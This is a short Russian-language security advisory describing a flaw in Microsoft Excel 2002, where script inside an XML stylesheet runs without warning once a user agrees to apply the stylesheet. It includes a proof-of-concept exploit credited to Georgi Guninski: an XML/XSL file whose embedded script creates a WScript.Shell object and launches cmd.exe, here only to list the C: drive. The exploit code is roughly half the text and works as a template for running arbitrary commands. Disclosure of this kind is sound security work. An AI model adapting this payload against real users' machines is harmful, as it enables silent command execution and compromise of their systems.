В Microsoft Excel 2002 можно подключать XML таблицы стилей с XML документами. При загрузке такого документа, пользователю предлагают выбор - загружать таблицу стилей или нет. Если XML таблица стилей содержит сценарий (Javascript и VBscript модули), и когда пользователь выбирает применять таблицу стилей при просмотре .xls файла, сценарий выполнится, при этом пользователь не будет уведомлен об этом.
Уязвимость обнаружена в Microsoft Excel 2002
Эксплоит:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#?m$ux" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
<xsl:script>
<![CDATA[
x=new ActiveXObject("WScript.Shell");
x.Run("%systemroot%\\SYSTEM32\\CMD.EXE /C DIR C:\\ /a /p /s");
]]>
</xsl:script>
<msux>
msux
written by georgi guninski
</msux>
</xsl:stylesheet>
